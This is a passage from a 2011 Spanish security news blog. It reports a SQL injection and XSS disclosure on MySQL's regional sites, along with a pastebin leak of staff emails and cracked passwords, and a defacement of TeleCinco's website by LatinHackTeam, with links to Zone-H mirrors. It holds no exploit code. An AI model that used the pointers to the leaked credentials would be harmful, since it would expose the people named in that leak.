Por último, estará Andreu Veà, con una charla llamada “Todo aquello que ya sabemos de Internet, pero que jamás nos atrevimos a preguntar“.

 

En la segunda parte, comentaré las distintas competiciones y retos que habrán, y bueno, si vaís a asistir decídmelo, que yo estaré por allí atendiendo a los participantes ;)

MySQL vulnerable a SQL Injection
No Comments

Posted by Aitor F. on 27 de marzo de 2011 | Short Link

Esta mañana Jackh4x0r ha decidido hacer pública una vulnerabilidad en las páginas de MySQL (.fr , .it , .de y .jp). Parece ser que había un parámetro vulnerable a Inyección SQL, que encontraron TinKode y Ne0h hace unos pocos meses (aquí el post, necesitas estar registrado).
También publicaron que era vulnerable a XSS.

Jackh4xor ha publicado información sobre los peces gordos de MySQL: emails, contraseñas (crackeadas las más importantes), usuarios…

Desde aquí podemos acceder al documento en pastebin.com

Que mala imagen da esto a MySQL, ¿no?

LatinHackTeam ataca la página de TeleCinco
No Comments

Posted by Aitor F. on 13 de marzo de 2011 | Short Link

Parece ser que el grupo LatinHackTeam ha puesto en apuros a la página de TeleCinco, aquí un pantallazo:

Pantallazo del deface a la web de TeleCinco

Tras este ataque a TeleCinco, podrían estar comprometidos los datos de miles de usuarios, ya que han podido acceder también a los Foros, y, seguramente a la Base de Datos. No sería de extrañar que la unidad de Delitos Telemáticos de la Guardia Civil busque a estos crackers, de encontrarlos, es posible que se tengan que enfrentar a grandes sanciones económicas.

Página de TeleCinco: http://www.telecinco.es/index.php

Mirror en Zone-H.org:  http://www.zone-h.org/mirror/id/13233630

Actualización:  Parece que la página de TeleCinco funciona correctamente desde http://www.telecinco.es. Pero si entramos al index.php si que se ve el deface.

Información adicional: Este grupo de crackers han defaceado también las siguiente páginas, según las estadísticas de Zone-H (listo solo las más importantes):

En total han atacado 11,802 páginas web, de las cuales, gran parte pertenecen a gobiernos o importantes empresas.

Aquí tenemos todo el listado:

http://www.zone-h.org/archive/notifier=LatinHackTeam

Copyright © 2011-2013 blog @ ka0Labs # All rights reserved.
Usamos una modificación guarra del tema Shades of Darkness, basado en Shades